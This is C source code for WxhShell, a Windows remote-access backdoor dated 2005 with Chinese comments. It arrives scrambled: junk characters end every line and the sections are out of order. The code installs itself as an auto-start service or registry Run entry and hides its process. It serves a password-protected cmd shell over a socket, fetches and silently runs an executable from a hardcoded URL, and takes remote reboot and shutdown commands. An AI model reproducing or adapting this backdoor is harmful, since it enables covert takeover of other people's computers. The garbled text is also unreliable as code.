    if(Boot(SHUTDOWN)) ?mY )m +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +S M $#  
    else { P*/px4;6  
    closesocket(wsh); /s6':~4  
    ExitThread(0); xkl'Y*  
    } \Ja%u"D A  
    break;  ;9c3IK@  
    } oUZwZ_yKW  
  // 获取shell ) 0$7{3  
  case 's': { ,oDZ:";  
    CmdShell(wsh); g'Ft5fQ"o/  
    closesocket(wsh); j._9;HifZ  
    ExitThread(0); fl~k')s  
    break; V~5vVY_HG&  
  } ))!Z2PfD  
  // 退出 /woa[7Xe  
  case 'x': { +IVVsVp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kv+E"2d  
    CloseIt(wsh); Z!6\KV]  
    break; tjOfekU  
    } 8_f0P8R!y  
  // 离开 mT@UQCG  
  case 'q': { pw:<a2.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  yyk[oH-Q  
    closesocket(wsh); (|ga#%iI  
    WSACleanup(); ^`YSl*:  
    exit(1); }K;@$B6,@  
    break; L3nHvKA]  
        } *P:`{ZV7=W  
  } [x!T<jJ  
  } ,{itnKJC  
Dc oTa-~  
  // 提示信息 j]J2,J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qfppJ8L  
} s;}';#  
  } Mim 9C]h(  
9{i6g+  
  return; mMrvr9%  
}  'm}~  
]G&?e9OA  
// shell模块句柄 jb)z[!FbM  
int CmdShell(SOCKET sock) P>L-,R(7e  
{ OdRXNk:k-j  
STARTUPINFO si; 9|jIrS%/~  
ZeroMemory(&si,sizeof(si)); _w+sx5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S3hJL:3c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Uy hH^  
PROCESS_INFORMATION ProcessInfo; (h/v"dV;  
char cmdline[]="cmd"; e@k ti@ZJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -sO EL{  
  return 0; ]9zc[_ !  
} Xa<siA{  
FlVGi3  
// 自身启动模式 I=f1kr pR  
int StartFromService(void) 4OCz:t  
{ LLgN%!&  
typedef struct RZ|s[b U  
{ @z dmB~C  
  DWORD ExitStatus; z2!NBOv  
  DWORD PebBaseAddress; VbBZ\`b  
  DWORD AffinityMask; &[S)zR=?  
  DWORD BasePriority; 3z&,>CEX  
  ULONG UniqueProcessId; Z i7(lG  
  ULONG InheritedFromUniqueProcessId;  +aP %H  
}   PROCESS_BASIC_INFORMATION; "5XD+qi  
,n &|+&  
PROCNTQSIP NtQueryInformationProcess; PhKJ#D Rbr  
6JRee[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `ZV;Le '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a+\ Gz  
~<v`&Gm?"  
  HANDLE             hProcess; P; hjr;  
  PROCESS_BASIC_INFORMATION pbi; K* [cJcY+  
6gakopZO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'y-IE#!5  
  if(NULL == hInst ) return 0; H W.S~eLw*  
qK|r+}g|&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A!iH g__/t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gADt%K2 #Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $6fHY\i#R  
\jq1F9,  
  if (!NtQueryInformationProcess) return 0; * I'O_D  
.vQ2w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z`b,0[rG[  
  if(!hProcess) return 0; (jY.S|%  
+ 6r@HK`,t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (O&~*7D*  
;1{S"UY  
  CloseHandle(hProcess); N@Slc 0  
%l: %c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v~uwQ&AH  
if(hProcess==NULL) return 0; JEJ] '3  
#J2856bzS  
HMODULE hMod; j?w7X?1(  
char procName[255]; D ?,P\cp  
unsigned long cbNeeded; |r0j>F  
q;kM eE*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u#J5M&#  
*WMcE$w/D  
  CloseHandle(hProcess); > )#*}JI  
pk;bx2CP8  
if(strstr(procName,"services")) return 1; // 以服务启动 0" R|lTYq  
>@ H:+0h-  
  return 0; // 注册表启动 3: mF!  
} qV iky=/-  
Y 3KCIL9  
// 主模块 i>)Whr'e8  
int StartWxhshell(LPSTR lpCmdLine) D\* raQ`n  
{ c$uV8_V  
  SOCKET wsl; %K ]u"  
BOOL val=TRUE; <YJU?G:@  
  int port=0; IHxX:a/iv  
  struct sockaddr_in door; 9SAyU%mS:  
X*S|aNaLWW  
  if(wscfg.ws_autoins) Install(); C8&)-v|  
!EpP-bq'*  
port=atoi(lpCmdLine); Grjm9tbX}  
CUxSmN2[  
if(port<=0) port=wscfg.ws_port; 6"_FjS3Sl  
o`RTvG Xk  
  WSADATA data; l[\[)X3$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ap}:^k5{  
p[Q   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1q\U (^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m?<C\&)6x  
  door.sin_family = AF_INET; t~U:{g~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NO* 1km[#  
  door.sin_port = htons(port); >xP $A{  
EO'3;mo,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xZ,g6s2o  
closesocket(wsl); A|y&\~<A  
return 1; TC R(  
} :kFWUs=  
?FMHK\  
  if(listen(wsl,2) == INVALID_SOCKET) { KY|Q#i|pM  
closesocket(wsl); [xI@)5Xk  
return 1; .`)ICX  
} ||Lqx#e=  
  Wxhshell(wsl); ^lf;Lc  
  WSACleanup(); cHJ &a`;  
M5%u>$2  
return 0; M6 0(yTm  
kv (N/G  
} /1MO]u\  
-u{k  
// 以NT服务方式启动 7qzI]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [IV8  
{ Ns1u0$fg  
DWORD   status = 0; &NGlkn  
  DWORD   specificError = 0xfffffff; @.CPZT  
`86 9XE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =euoSH D}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sl 6}5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &+*jTE  
  serviceStatus.dwWin32ExitCode     = 0; '>`bp25>  
  serviceStatus.dwServiceSpecificExitCode = 0; 5jYRIvM[Q~  
  serviceStatus.dwCheckPoint       = 0; YO-O-NEP  
  serviceStatus.dwWaitHint       = 0; IS'=%qhC`  
#;^.&2Lt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PeE'#&w n  
  if (hServiceStatusHandle==0) return; sKHUf1   
\" .3x PkE  
status = GetLastError(); a_x|PbD  
  if (status!=NO_ERROR) 9IIe:  
{ @p `#y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ 8v)\lu  
    serviceStatus.dwCheckPoint       = 0; -4hX -  
    serviceStatus.dwWaitHint       = 0; /"/$1F%{  
    serviceStatus.dwWin32ExitCode     = status; ]@WJ&e/'@  
    serviceStatus.dwServiceSpecificExitCode = specificError; :5"|iRP'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); im1]:kr7  
    return; I{1w8m4O6  
  } g~Q#U;]  
|0-5-.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O[`n{Vl/  
  serviceStatus.dwCheckPoint       = 0; y f+/Kj< a  
  serviceStatus.dwWaitHint       = 0; ]Fj z+CGg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9"<)DS  
} JLg_oK6  
C{Npipd}v  
// 处理NT服务事件,比如:启动、停止 g<{~f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) = <33(   
{ vEfX'gyk  
switch(fdwControl) RHB>svT^K>  
{ L2K4nTA  
case SERVICE_CONTROL_STOP: 0n3O;=[aV  
  serviceStatus.dwWin32ExitCode = 0; b5H[~8mf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ICV67(Ui  
  serviceStatus.dwCheckPoint   = 0; |dXS+R1  
  serviceStatus.dwWaitHint     = 0; .GS|H d  
  { d~[ >%&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nGyY`wt&Rg  
  } 44_n5vp,T  
  return; M)3h 4yQ  
case SERVICE_CONTROL_PAUSE: KQr=;O\T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5(U.<  
  break; :.sK:W("v  
case SERVICE_CONTROL_CONTINUE: 1S_ KX.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lYy0   
  break; !^\|r<2M  
case SERVICE_CONTROL_INTERROGATE: 0>.'w\,87B  
  break; L@[bgN`=v  
}; +%>L;'L ^X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][_:{ N/  
} $1UN?(r  
w1s#8:  
// 标准应用程序主函数 ?|8H $1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z"E+ TX  
{ 2Jj`7VH>  
N*o+m~:y  
// 获取操作系统版本 tpCEWdn5  
OsIsNt=GetOsVer(); u,'c:RMV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); flmcY7ZV  
VSP[G ,J.  
  // 从命令行安装 3-_4p8OK  
  if(strpbrk(lpCmdLine,"iI")) Install(); kW/ksz0)  
Uvz9x"0[u  
  // 下载执行文件 H[6d@m- Z  
if(wscfg.ws_downexe) { LFh(. }  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g\6(ezUF*  
  WinExec(wscfg.ws_filenam,SW_HIDE); *!nS4 [d  
} [vIO  
RNIfw1R  
if(!OsIsNt) { K$K[fcj  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Pv>`E2^  
HideProc(); 2f~s$I&l#  
StartWxhshell(lpCmdLine); 8@Y@5)Oc  
} {~d4;ht1Y  
else bg 7b!t1F  
  if(StartFromService()) g[Yok` e[  
  // 以服务方式启动 zM)o^Fn2  
  StartServiceCtrlDispatcher(DispatchTable); vguqk!eo4  
else 1zl@$ Nt  
  // 普通方式启动 Wc+ e>*  
  StartWxhshell(lpCmdLine);  r5F#q  
} RM?gE  
return 0; <Ojf&C^Z  
} =8<SKY&\X  
,rTR |>Z  
[;tbNVZK  
=>BT]WK>  
=========================================== LfK <%(:  
e4?}#6RF  
z{AfR2L  
JbG+ysn  
wdp 4-*  
c.d*DM}W  
" vbA9 V<c&  
Be}Cj(C  
#include <stdio.h> HK ;C*;vC%  
#include <string.h> f)gA.Rz  
#include <windows.h> sy]1Ba%  
#include <winsock2.h> $R"~BZbt;  
#include <winsvc.h> )|2g#hH5  
#include <urlmon.h> 7$b78wax  
r)*KgGsk  
#pragma comment (lib, "Ws2_32.lib") 9fe~Q%x=u  
#pragma comment (lib, "urlmon.lib") 2"%d!"  
Zb}=?fcL;@  
#define MAX_USER   100 // 最大客户端连接数 ~omX(kPzK  
#define BUF_SOCK   200 // sock buffer ^yBx.GrQc  
#define KEY_BUFF   255 // 输入 buffer R=PjLH&)  
LeO5BmwHR  
#define REBOOT     0   // 重启 |E!xt6B  
#define SHUTDOWN   1   // 关机 a:@Eg;aN*O  
a*vi&$@`Z1  
#define DEF_PORT   5000 // 监听端口 ^8We}bs-c  
Z;Tjjws  
#define REG_LEN     16   // 注册表键长度 4J_18.JHP  
#define SVC_LEN     80   // NT服务名长度 t1Cyyb  
m#8mU,7  
// 从dll定义API Ak|j J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jQ`cfE$sV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gKBcD\F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dwwh;B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;i Ud3 '*  
~9x$tb x-  
// wxhshell配置信息 6h;$^3x$  
struct WSCFG { t'7)aJMP  
  int ws_port;         // 监听端口 = "Dmfy7  
  char ws_passstr[REG_LEN]; // 口令 n {^D_S  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fet>KacTht  
  char ws_regname[REG_LEN]; // 注册表键名 o2Z# 5-  
  char ws_svcname[REG_LEN]; // 服务名  E#ti  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X;zy1ZH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }X}fX#[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?;}2 Z)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &4p:2,|r9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =X>?Y,   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B \[P/AC  
5qUyOkI  
}; <!4'?K-N  
T;.#=h  
// default Wxhshell configuration +vZ-o{}.jO  
struct WSCFG wscfg={DEF_PORT, &~ uzu{  
    "xuhuanlingzhe", N<O^%!buR  
    1, *Q5/d9B8TN  
    "Wxhshell", wYNh0QlBH  
    "Wxhshell", ].` i`.T  
            "WxhShell Service", N "FQMxqm  
    "Wrsky Windows CmdShell Service", Z?1.Y7Npr  
    "Please Input Your Password: ", -YRF^72+  
  1, C3WqUf<8`{  
  "http://www.wrsky.com/wxhshell.exe", kjjO<x?&*  
  "Wxhshell.exe" U%U%a,rA5s  
    }; dp-8,Seu  
DTgF,c  
// 消息定义模块 +=;F vb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >_tn7Z0 L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B ljZ&wZW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dt ;R  
char *msg_ws_ext="\n\rExit."; H?^Poe(=(  
char *msg_ws_end="\n\rQuit."; ,9  
char *msg_ws_boot="\n\rReboot..."; M(SH3~  
char *msg_ws_poff="\n\rShutdown..."; P62g7>B5^  
char *msg_ws_down="\n\rSave to "; ]6FpUF#<D  
D1x~d<j  
char *msg_ws_err="\n\rErr!"; ={8ClUV#  
char *msg_ws_ok="\n\rOK!"; N(&,+KJ)  
}!5"EL(L80  
char ExeFile[MAX_PATH]; o'r?^ *W  
int nUser = 0; >L5[dkg%  
HANDLE handles[MAX_USER]; lHr?sMt  
int OsIsNt; {n2jAR9nq  
|)yO] pB:  
SERVICE_STATUS       serviceStatus; ;/ WtO2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >`\~=ivrD  
62a{Ggs{  
// 函数声明 '}]w=2Lf  
int Install(void); mI?AI7DqK  
int Uninstall(void); 57rc|]C  
int DownloadFile(char *sURL, SOCKET wsh); t"JfqD E  
int Boot(int flag); _ jF, k>F  
void HideProc(void); #t po@pJsE  
int GetOsVer(void); VbJGyjx  
int Wxhshell(SOCKET wsl); s$|GVv1B  
void TalkWithClient(void *cs); 3S +.]v>  
int CmdShell(SOCKET sock); RE7 I"  
int StartFromService(void); #!C/~"Y*`|  
int StartWxhshell(LPSTR lpCmdLine); M|7xI  
FL"7u2rh,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "J3@Z,qW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;NB J@E,  
jQ(qaX&  
// 数据结构和表定义 2["bS++?  
SERVICE_TABLE_ENTRY DispatchTable[] = y kwS-e  
{ 1Ep!U#Del  
{wscfg.ws_svcname, NTServiceMain}, U''/y\Z  
{NULL, NULL} mGwB bY+5n  
}; 7WKb| /#;  
_}{C?611c  
// 自我安装 .$L'Jt2X  
int Install(void) p.gi8%f`  
{ i|y8n7c  
  char svExeFile[MAX_PATH]; rp+&ax}Wh  
  HKEY key; 68W&qzw.[r  
  strcpy(svExeFile,ExeFile); FE" ksi 9  
F@)wi0  
// 如果是win9x系统,修改注册表设为自启动 ~UEft  
if(!OsIsNt) { ^4h/6^b0c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <jY"+@rF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9}:%CpD^~I  
  RegCloseKey(key); +*mi%)I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N>xs@_"o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tNG0ft%a  
  RegCloseKey(key); rAM{<  
  return 0; MCjf$pZN]  
    } _cQTQ  
  } jV#{8 8  
} (O"Wa  
else { o{37}if  
G?#f@N0.5p  
// 如果是NT以上系统,安装为系统服务 U# G0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bb}|"m .  
if (schSCManager!=0) :l'61$=  
{ }L'BzSU@G  
  SC_HANDLE schService = CreateService Z9E[RD  
  ( ~bf-uHx  
  schSCManager, =hjff/ X  
  wscfg.ws_svcname, )C|[j@MD  
  wscfg.ws_svcdisp, 3#!}W#xv  
  SERVICE_ALL_ACCESS, Akb#1Ww4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #kR8v[Z  
  SERVICE_AUTO_START, 8rx?mX,}  
  SERVICE_ERROR_NORMAL, ,-rOfk\u  
  svExeFile, 5k)/SAU0  
  NULL, a;r,*zZ="  
  NULL, jhr: QS/9  
  NULL, >\+c@o[  
  NULL, &O/;YGEAB  
  NULL g+bc4eU  
  ); { r yv7G  
  if (schService!=0) < HlS0J9  
  { l c?9B  
  CloseServiceHandle(schService); 7y""#-}V[r  
  CloseServiceHandle(schSCManager); N\1 EWi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 <X.1 T1  
  strcat(svExeFile,wscfg.ws_svcname); k2(B{x}L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;G |5kvE>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,qz$6oxh\  
  RegCloseKey(key); ...|S]a  
  return 0; | :7O  
    } :70[zo7n'  
  } Bvk 8b  
  CloseServiceHandle(schSCManager); s{#rCc)  
} P+tRxpz  
} +*Y/+.4WE$  
F=?0:2P0bD  
return 1; b= amd*  
} x|g>Zd/n  
V+G.TI P  
// 自我卸载 nd_+g2x'  
int Uninstall(void) \qj4v^\  
{ 5?9K%x'b  
  HKEY key; (,*e\o  
7:awUoV8f  
if(!OsIsNt) { 2K[Y|.u8>q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U$-Gc[=|  
  RegDeleteValue(key,wscfg.ws_regname); OHTJQ5%zL  
  RegCloseKey(key); JVy-Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~\B1\ G  
  RegDeleteValue(key,wscfg.ws_regname); DyhW_PH2J  
  RegCloseKey(key); !~#zH0#  
  return 0; 2_k2t ?   
  } lR3`4bHA  
} VbLwhA2W}F  
} }TfZ7~o[  
else { O~D>F*_^j  
YGFE(t;lPU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2NMS '"8  
if (schSCManager!=0) g-)izPX  
{ @#m@ .   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )nE=H,U?y  
  if (schService!=0) pbc<326X"  
  { T rK-XTev  
  if(DeleteService(schService)!=0) { wyWe2d  
  CloseServiceHandle(schService); jiw5>RNt  
  CloseServiceHandle(schSCManager); moz*=a  
  return 0; !(2rU@.  
  } sa6/$  
  CloseServiceHandle(schService); 4OX|pa  
  } TC[(mf:8  
  CloseServiceHandle(schSCManager); b{4@ ~>i  
} +OEqDXR+_  
} nbd-f6F6  
Ilf;Q(*$>>  
return 1; w1>uD]  
} X$mCn#8m  
%?  87#|  
// 从指定url下载文件 `_"F7Czn  
int DownloadFile(char *sURL, SOCKET wsh) .l1uqCuB  
{ re}_+sv U  
  HRESULT hr; AIN Fv;  
char seps[]= "/"; EGJ d:>k  
char *token; f0!i<9<  
char *file; b&]_5 GGc  
char myURL[MAX_PATH]; r2!\Ts5v  
char myFILE[MAX_PATH]; H 5\k`7R  
hJ|zX  
strcpy(myURL,sURL); uUmkk  
  token=strtok(myURL,seps); -]hk2Q0  
  while(token!=NULL) my1FW,3  
  { iG+hj:5  
    file=token; k9Pwf"m|](  
  token=strtok(NULL,seps); gs/ i%O  
  } g_8A1lt  
e97Ll=>  
GetCurrentDirectory(MAX_PATH,myFILE); ZhvZe/  
strcat(myFILE, "\\"); nLvF^%P8  
strcat(myFILE, file); I!-"SuBy4J  
  send(wsh,myFILE,strlen(myFILE),0); OQ*BPmS-   
send(wsh,"...",3,0); EjY8g@M;t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gdr"34%vbM  
  if(hr==S_OK) ^\"@r%|  
return 0; ,/%@:Fh4  
else zvEofK  
return 1; cJ^{iOQ+  
FUTD/y]Lu  
} u([|^~H]  
[T}Lq~  
// 系统电源模块 *h([ai"1-  
int Boot(int flag) 9Ub##5$[,  
{ fGtYvl O-5  
  HANDLE hToken; &AUtUp kOo  
  TOKEN_PRIVILEGES tkp; M0) q  
Po B-:G6  
  if(OsIsNt) { h;C/} s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z.QgL=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r3;@  
    tkp.PrivilegeCount = 1; oeKVcVP|'&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mZG)#gW[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qp##>c31X  
if(flag==REBOOT) { 7oWT6Qa5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8GN_ 3pT  
  return 0; sV']p#HK0  
} (8Ptuh6\\2  
else { \-`,fat  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mG\$W#+j  
  return 0; u2 a#qU5*  
} v w  
  } 5 *R{N ~>  
  else { 6, ~Y(#  
if(flag==REBOOT) { MrU0Jrk4+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |&49YQ  
  return 0; o(L8 -F  
} |$:y8H'J  
else { {wL30D^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |^09ny|  
  return 0; s;!_'1pi@  
} OL%KAEnD  
} /XVjcD66c  
R` HC EX)  
return 1; ;n\$'"K&;  
} ;07>ZH%  
T1~G {@"  
// win9x进程隐藏模块 E:$EK_?:t  
void HideProc(void) (&osR|/Tq  
{ ]_5qME#N  
" ZYdJHM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sF4+(9=  
  if ( hKernel != NULL ) U0J_ 3W  
  { ^Ay>%`hf*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d8C44q+ds  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^!v{ >3  
    FreeLibrary(hKernel); ,wYA_1$$H  
  } BN>t"9XpW  
ABaK60.O[O  
return; f`W)Z$fN5  
} ) Vf!U"  
G4;5$YGG  
// 获取操作系统版本 a\l?7Jr  
int GetOsVer(void) e0z(l/UB  
{ 1=@csO_yn  
  OSVERSIONINFO winfo; $*')Sma  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I6e[K(7NY  
  GetVersionEx(&winfo); b2r]>*Vc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |L<p90  
  return 1; Da3Z>/S  
  else ^:cc3wt'3[  
  return 0; I<+i87=  
} EA``G8Vn>  
|MMaaW^"  
// 客户端句柄模块 ;@<Rh^g]  
int Wxhshell(SOCKET wsl) rNN ,!  
{ t9eEcq Mg  
  SOCKET wsh; H.)Y*zK0.  
  struct sockaddr_in client; % B^BN|r  
  DWORD myID; T B(K&3_D  
dJ(<zz+;b  
  while(nUser<MAX_USER) 1@:BUE;jZ  
{ Ys@OgdS@:  
  int nSize=sizeof(client); Q)[DSM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0&$,?CL?  
  if(wsh==INVALID_SOCKET) return 1;  MU>6s`6O  
E=# O|[=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dRL*TT0NW  
if(handles[nUser]==0) k-!Jww  
  closesocket(wsh); zI.%b7wq  
else BqtUL_jm  
  nUser++; B{tROuN<  
  } f`K[oCfu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5HC5   
wLa8&E[  
  return 0; $)#?4v<  
}  /~1Ew  
~ ?JN I8  
// 关闭 socket PpLuN12H  
void CloseIt(SOCKET wsh) 8|) $;.  
{ oJ.5! Kg  
closesocket(wsh); +mRc8G  
nUser--; Wl0p-h  
ExitThread(0); 6Z#$(oC  
} G0Y]-*1  
f\vMdY  
// 客户端请求句柄 V\nj7Gr:sF  
void TalkWithClient(void *cs) 8pXqgIbmb  
{ >&YUV.mLY  
tjg?zlj  
  SOCKET wsh=(SOCKET)cs; XGb*LY+Db6  
  char pwd[SVC_LEN]; Ws/\ lD  
  char cmd[KEY_BUFF]; lj /IN[U/  
char chr[1]; QAzwNXE+  
int i,j; POI|#[-V  
c5(4rT{(m  
  while (nUser < MAX_USER) {  rrP_7D  
-q30tO.  
if(wscfg.ws_passstr) { v\2- %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u?rs6A[h#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Px}#f0IR  
  //ZeroMemory(pwd,KEY_BUFF); 0.kC|  
      i=0; ^AF~k#R  
  while(i<SVC_LEN) { 4TRF-f  
. e_VPKF|  
  // 设置超时 s4`,Z*H  
  fd_set FdRead; @]YEOk-  
  struct timeval TimeOut; ~%L=<TBAc  
  FD_ZERO(&FdRead); ?mHu eX  
  FD_SET(wsh,&FdRead); 7g>|e  
  TimeOut.tv_sec=8; %n^ugm0B  
  TimeOut.tv_usec=0; *. 1S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xzXNcQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zJ30ZY:  
@TJ2 |_s6]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8?N![D\@  
  pwd=chr[0]; QlMv_|`9  
  if(chr[0]==0xd || chr[0]==0xa) { &!F"3bD0  
  pwd=0; \0n<6^y  
  break; qVssw* GDB  
  } YYhN>d$  
  i++; 9qk J<  
    } g(C/J9J  
"*LQr~k~}  
  // 如果是非法用户,关闭 socket y!c<P,Lt3f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '#a;n  
} &$heW,  
[jR >.H'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jqlfypU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u7S C_3R  
Rn*@)5  
while(1) { H8kB.D[7Q  
pQi|PQq  
  ZeroMemory(cmd,KEY_BUFF); .I0M'L~!/L  
3el/,v|qj  
      // 自动支持客户端 telnet标准   !l5@L\   
  j=0; E9\u^"GVO  
  while(j<KEY_BUFF) { P@5}}vwS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lnGg1/  
  cmd[j]=chr[0]; D*/fY=gK  
  if(chr[0]==0xa || chr[0]==0xd) { _jb&=f8  
  cmd[j]=0; A=sz8?K+`  
  break; [!#}#  
  } h_Ssm{C\  
  j++; 2UG>(R:  
    } #&b<D2d  
TBZhL  
  // 下载文件 3hVuC1;"  
  if(strstr(cmd,"http://")) { CfT(a!;Eox  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - "EPU]q  
  if(DownloadFile(cmd,wsh)) vdh[%T,&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V 4&a+MJ@  
  else %]1te*_  
